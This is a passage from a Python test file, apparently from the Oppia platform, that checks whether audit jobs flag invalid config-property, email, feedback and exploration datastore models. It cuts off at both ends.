check of ConfigPropertySnapshotMetadataModel\', ' '[u\'Entity id config_model-3: ConfigProperty model ' 'corresponding to id config_model has a version 1 ' 'which is less than the version 3 in ' 'snapshot metadata model id\']]' ), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance.commit_cmds = [{ 'cmd': 'change_property_value', 'invalid_attribute': 'invalid' }] self.model_instance.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'change_property_value check of ' 'ConfigPropertySnapshotMetadataModel\', ' '[u"Entity id config_model-1: Commit command domain ' 'validation for command: {u\'cmd\': ' 'u\'change_property_value\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'new_value, The following extra attributes are present: ' 'invalid_attribute"]]' ), u'[u\'fully-validated ConfigPropertySnapshotMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class ConfigPropertySnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ConfigPropertySnapshotContentModelValidatorTests, self).setUp() self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME) self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL) self.config_model = config_models.ConfigPropertyModel( id='config_model', value='c') self.config_model.commit(self.admin_id, []) user_models.UserSettingsModel( id=feconf.SYSTEM_COMMITTER_ID, email='system@committer.com').put() self.model_instance = ( config_models.ConfigPropertySnapshotContentModel.get_by_id( 'config_model-1')) self.csrf_model_instance = ( config_models.ConfigPropertySnapshotContentModel.get_by_id( 'oppia_csrf_secret-1')) self.job_class = ( prod_validation_jobs_one_off .ConfigPropertySnapshotContentModelAuditOneOffJob) def test_standard_operation(self): self.config_model.commit(self.admin_id, []) expected_output = [ u'[u\'fully-validated ConfigPropertySnapshotContentModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of ConfigPropertySnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated ), u'[u\'fully-validated ConfigPropertySnapshotContentModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.csrf_model_instance.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ConfigPropertySnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_config_property_model_failure(self): self.config_model.delete(self.admin_id, '', []) expected_output = [ ( u'[u\'failed validation check for config_property_ids ' 'field check of ConfigPropertySnapshotContentModel\', ' '[u"Entity id config_model-1: based on field ' 'config_property_ids having value config_model, ' 'expect model ConfigPropertyModel with ' 'id config_model but it doesn\'t exist", ' 'u"Entity id config_model-2: based on field ' 'config_property_ids having value config_model, expect model ' 'ConfigPropertyModel with id config_model but it ' 'doesn\'t exist"]]' ), u'[u\'fully-validated ConfigPropertySnapshotContentModel\', 1]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_invalid_config_property_model_version_in_model_id(self): model_with_invalid_version_in_id = ( config_models.ConfigPropertySnapshotContentModel( id='config_model-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for config property model ' 'version check of ConfigPropertySnapshotContentModel\', ' '[u\'Entity id config_model-3: ConfigProperty model ' 'corresponding to id config_model has a version 1 ' 'which is less than the version 3 in snapshot ' 'content model id\']]' ), u'[u\'fully-validated ConfigPropertySnapshotContentModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class SentEmailModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(SentEmailModelValidatorTests, self).setUp() def mock_generate_hash( unused_cls, unused_recipient_id, unused_email_subject, unused_email_body): return 'Email Hash' self.sender_email = 'sender@email.com' self.sender_id = 'sender' self.sender_model = user_models.UserSettingsModel( id=self.sender_id, email=self.sender_email) self.sender_model.put() self.recipient_email = 'recipient@email.com' self.recipient_id = 'recipient' self.recipient_model = user_models.UserSettingsModel( id=self.recipient_id, email=self.recipient_email) self.recipient_model.put() with self.swap( email_models.SentEmailModel, '_generate_hash', types.MethodType(mock_generate_hash, email_models.SentEmailModel)): email_models.SentEmailModel.create( self.recipient_id, self.recipient_email, self.sender_id, self.sender_email, feconf.EMAIL_INTENT_SIGNUP, 'Email Subject', 'Email Body', datetime.datetime.utcnow()) self.model_instance = email_models.SentEmailModel.get_by_hash( 'Email Hash')[0] self.job_class = ( prod_validation_jobs_one_off.SentEmailModelAuditOneOffJob) def test_standard_model(self): expected_output = [u'[u\'fully-validated SentEmailModel\', 1]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of SentEmailModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance.sent_datetime = ( datetime.datetime.utcnow() - datetime.timedelta(hours=20)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for current time check of ' 'SentEmailModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_non_existent_sender_id(self): self.sender_model.delete() expected_output = [( u'[u\'failed validation check for sender_id field check of ' 'SentEmailModel\', ' '[u"Entity id %s: based on field sender_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.sender_id, self.sender_id)] run_job_and_check_output(self, expected_output) def test_model_with_non_existent_recipient_id(self): self.recipient_model.delete() expected_output = [( u'[u\'failed validation check for recipient_id field check of ' 'SentEmailModel\', ' '[u"Entity id %s: based on field recipient_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.recipient_id, self.recipient_id)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_sender_email(self): self.sender_model.email = 'invalid@email.com' self.sender_model.put() expected_output = [( u'[u\'failed validation check for sender email check of ' 'SentEmailModel\', ' '[u\'Entity id %s: Sender email %s in entity does not match with ' 'email %s of user obtained through sender id %s\']]') % ( self.model_instance.id, self.model_instance.sender_email, self.sender_model.email, self.model_instance.sender_id)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_recipient_email(self): self.recipient_model.email = 'invalid@email.com' self.recipient_model.put() expected_output = [( u'[u\'failed validation check for recipient email check of ' 'SentEmailModel\', ' '[u\'Entity id %s: Recipient email %s in entity does not match ' 'with email %s of user obtained through recipient id %s\']]') % ( self.model_instance.id, self.model_instance.recipient_email, self.recipient_model.email, self.model_instance.recipient_id)] run_job_and_check_output(self, expected_output) def test_model_with_sent_datetime_greater_than_current_time(self): self.model_instance.sent_datetime = ( datetime.datetime.utcnow() + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for sent datetime check of ' 'SentEmailModel\', ' '[u\'Entity id %s: The sent_datetime field has a value %s ' 'which is greater than the time when the job was run\']]') % ( self.model_instance.id, self.model_instance.sent_datetime)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_id(self): model_instance_with_invalid_id = email_models.SentEmailModel( id='invalid', recipient_id=self.recipient_id, recipient_email=self.recipient_email, sender_id=self.sender_id, sender_email=self.sender_email, intent=feconf.EMAIL_INTENT_SIGNUP, subject='Email Subject', html_body='Email Body', sent_datetime=datetime.datetime.utcnow()) model_instance_with_invalid_id.put() expected_output = [( u'[u\'fully-validated SentEmailModel\', 1]' ), ( u'[u\'failed validation check for model id check of ' 'SentEmailModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % 'invalid'] run_job_and_check_output(self, expected_output, sort=True) class BulkEmailModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(BulkEmailModelValidatorTests, self).setUp() self.sender_email = 'sender@email.com' self.sender_id = 'sender' self.sender_model = user_models.UserSettingsModel( id=self.sender_id, email=self.sender_email) self.sender_model.put() self.recipient_ids = ['recipient1', 'recipient2'] self.recipient_model_1 = user_models.UserSettingsModel( id=self.recipient_ids[0], email='recipient1@email.com') self.recipient_model_1.put() self.recipient_model_2 = user_models.UserSettingsModel( id=self.recipient_ids[1], email='recipient2@email.com') self.recipient_model_2.put() self.model_id = 'bulkemailid1' email_models.BulkEmailModel.create( self.model_id, self.recipient_ids, self.sender_id, self.sender_email, feconf.BULK_EMAIL_INTENT_MARKETING, 'Email Subject', 'Email Body', datetime.datetime.utcnow()) self.model_instance = email_models.BulkEmailModel.get_by_id( self.model_id) self.job_class = ( prod_validation_jobs_one_off.BulkEmailModelAuditOneOffJob) def test_standard_model(self): expected_output = [u'[u\'fully-validated BulkEmailModel\', 1]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of BulkEmailModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance.sent_datetime = ( datetime.datetime.utcnow() - datetime.timedelta(hours=20)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for current time check of ' 'BulkEmailModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_non_existent_sender_id(self): self.sender_model.delete() expected_output = [( u'[u\'failed validation check for sender_id field check of ' 'BulkEmailModel\', ' '[u"Entity id %s: based on field sender_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.sender_id, self.sender_id)] run_job_and_check_output(self, expected_output) def test_model_with_non_existent_recipient_id(self): self.recipient_model_1.delete() expected_output = [( u'[u\'failed validation check for recipient_id field check of ' 'BulkEmailModel\', ' '[u"Entity id %s: based on field recipient_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.recipient_ids[0], self.recipient_ids[0])] run_job_and_check_output(self, expected_output) def test_model_with_invalid_sender_email(self): self.sender_model.email = 'invalid@email.com' self.sender_model.put() expected_output = [( u'[u\'failed validation check for sender email check of ' 'BulkEmailModel\', ' '[u\'Entity id %s: Sender email %s in entity does not match with ' 'email %s of user obtained through sender id %s\']]') % ( self.model_instance.id, self.model_instance.sender_email, self.sender_model.email, self.model_instance.sender_id)] run_job_and_check_output(self, expected_output) def test_model_with_sent_datetime_greater_than_current_time(self): self.model_instance.sent_datetime = ( datetime.datetime.utcnow() + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for sent datetime check of ' 'BulkEmailModel\', ' '[u\'Entity id %s: The sent_datetime field has a value %s ' 'which is greater than the time when the job was run\']]') % ( self.model_instance.id, self.model_instance.sent_datetime)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_id(self): model_instance_with_invalid_id = email_models.BulkEmailModel( id='invalid:id', recipient_ids=self.recipient_ids, sender_id=self.sender_id, sender_email=self.sender_email, intent=feconf.BULK_EMAIL_INTENT_MARKETING, subject='Email Subject', html_body='Email Body', sent_datetime=datetime.datetime.utcnow()) model_instance_with_invalid_id.put() expected_output = [( u'[u\'fully-validated BulkEmailModel\', 1]' ), ( u'[u\'failed validation check for model id check of ' 'BulkEmailModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % model_instance_with_invalid_id.id] run_job_and_check_output(self, expected_output, sort=True) class GeneralFeedbackEmailReplyToIdModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(GeneralFeedbackEmailReplyToIdModelValidatorTests, self).setUp() self.thread_id = feedback_services.create_thread( 'exploration', 'expid', None, 'a subject', 'some text') self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.model_instance = ( email_models.GeneralFeedbackEmailReplyToIdModel.create( self.user_id, self.thread_id)) self.model_instance.put() self.job_class = ( prod_validation_jobs_one_off .GeneralFeedbackEmailReplyToIdModelAuditOneOffJob) def test_standard_model(self): expected_output = [( u'[u\'fully-validated GeneralFeedbackEmailReplyToIdModel\', 1]')] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of GeneralFeedbackEmailReplyToIdModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated )] run_job_and_check_output(self, expected_output) def test_model_with_last_updated_greater_than_current_time(self): expected_output = [( u'[u\'failed validation check for current time check of ' 'GeneralFeedbackEmailReplyToIdModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_non_existent_user_id(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [( u'[u\'failed validation check for item.id.user_id field check of ' 'GeneralFeedbackEmailReplyToIdModel\', ' '[u"Entity id %s: based on field item.id.user_id having value ' '%s, expect model UserSettingsModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.user_id, self.user_id)] run_job_and_check_output(self, expected_output) def test_model_with_non_existent_thread_id(self): feedback_models.GeneralFeedbackThreadModel.get_by_id( self.thread_id).delete() expected_output = [( u'[u\'failed validation check for item.id.thread_id field check of ' 'GeneralFeedbackEmailReplyToIdModel\', ' '[u"Entity id %s: based on field item.id.thread_id having value ' '%s, expect model GeneralFeedbackThreadModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.thread_id, self.thread_id)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_reply_to_id(self): while len( self.model_instance.reply_to_id) <= ( email_models.REPLY_TO_ID_LENGTH): self.model_instance.reply_to_id = ( self.model_instance.reply_to_id + 'invalid') self.model_instance.put() expected_output = [( u'[u\'failed validation check for reply_to_id length check of ' 'GeneralFeedbackEmailReplyToIdModel\', ' '[u\'Entity id %s: reply_to_id %s should have length less than or ' 'equal to %s but instead has length %s\']]' ) % ( self.model_instance.id, self.model_instance.reply_to_id, email_models.REPLY_TO_ID_LENGTH, len(self.model_instance.reply_to_id))] run_job_and_check_output(self, expected_output) class ExplorationModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) language_codes = ['ar', 'en', 'en'] explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, language_code=language_codes[i] ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = exp_models.ExplorationModel.get_by_id('0') self.model_instance_1 = exp_models.ExplorationModel.get_by_id('1') self.model_instance_2 = exp_models.ExplorationModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.ExplorationModelAuditOneOffJob) def test_standard_operation(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExplorationModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_exploration_schema(self): expected_output = [ ( u'[u\'failed validation check for domain object check of ' 'ExplorationModel\', ' '[u\'Entity id %s: Entity fails domain validation with the ' 'error Invalid language_code: %s\']]' ) % (self.model_instance_0.id, self.model_instance_0.language_code), u'[u\'fully-validated ExplorationModel\', 2]'] with self.swap( constants, 'ALL_LANGUAGE_CODES', [{ 'code': 'en', 'description': 'English'}]): run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_commit_log_entry_model_failure(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') exp_models.ExplorationCommitLogEntryModel.get_by_id( 'exploration-0-1').delete() expected_output = [ ( u'[u\'failed validation check for ' 'exploration_commit_log_entry_ids field check of ' 'ExplorationModel\', ' '[u"Entity id 0: based on field ' 'exploration_commit_log_entry_ids having value ' 'exploration-0-1, expect model ExplorationCommitLogEntryModel ' 'with id exploration-0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_summary_model_failure(self): exp_models.ExpSummaryModel.get_by_id('0').delete() expected_output = [ ( u'[u\'failed validation check for exp_summary_ids ' 'field check of ExplorationModel\', ' '[u"Entity id 0: based on field exp_summary_ids having ' 'value 0, expect model ExpSummaryModel with id 0 ' 'but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_rights_model_failure(self): exp_models.ExplorationRightsModel.get_by_id( '0').delete(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_rights_ids ' 'field check of ExplorationModel\', ' '[u"Entity id 0: based on field exploration_rights_ids ' 'having value 0, expect model ExplorationRightsModel ' 'with id 0 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): exp_models.ExplorationSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of ExplorationModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model ExplorationSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): exp_models.ExplorationSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of ExplorationModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model ExplorationSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class ExplorationSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ExplorationSnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: if exp.id != '0': exp_services.save_new_exploration(self.owner_id, exp) else: exp_services.save_new_exploration(self.user_id, exp) self.model_instance_0 = ( exp_models.ExplorationSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( exp_models.ExplorationSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( exp_models.ExplorationSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExplorationSnapshotMetadataModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'ExplorationSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExplorationSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field exploration_ids ' 'having value 0, expect model ExplorationModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'exploration_ids having value 0, expect model ' 'ExplorationModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'ExplorationSnapshotMetadataModel\', 2]')] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of ExplorationSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'ExplorationSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration model ' 'version check of ExplorationSnapshotMetadataModel\', ' '[u\'Entity id 0-3: Exploration model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated ExplorationSnapshotMetadataModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_state' }, { 'cmd': 'delete_state', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit ' 'cmd delete_state check of ' 'ExplorationSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'delete_state\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'state_name, The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'failed validation check for commit ' 'cmd add_state check of ' 'ExplorationSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_state\'} ' 'failed with error: The following required attributes ' 'are missing: state_name"]]' ), u'[u\'fully-validated ExplorationSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class ExplorationSnapshotContentModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationSnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = ( exp_models.ExplorationSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( exp_models.ExplorationSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( exp_models.ExplorationSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExplorationSnapshotContentModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'ExplorationSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExplorationSnapshotContentModel\', ' '[u"Entity id 0-1: based on field exploration_ids ' 'having value 0, expect model ExplorationModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'exploration_ids having value 0, expect model ' 'ExplorationModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'ExplorationSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration model ' 'version check of ExplorationSnapshotContentModel\', ' '[u\'Entity id 0-3: Exploration model corresponding to ' 'id 0 has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ), ( u'[u\'fully-validated ExplorationSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class ExplorationRightsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationRightsModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) editor_email = 'user@editor.com' viewer_email = 'user@viewer.com' self.signup(editor_email, 'editor') self.signup(viewer_email, 'viewer') self.editor_id = 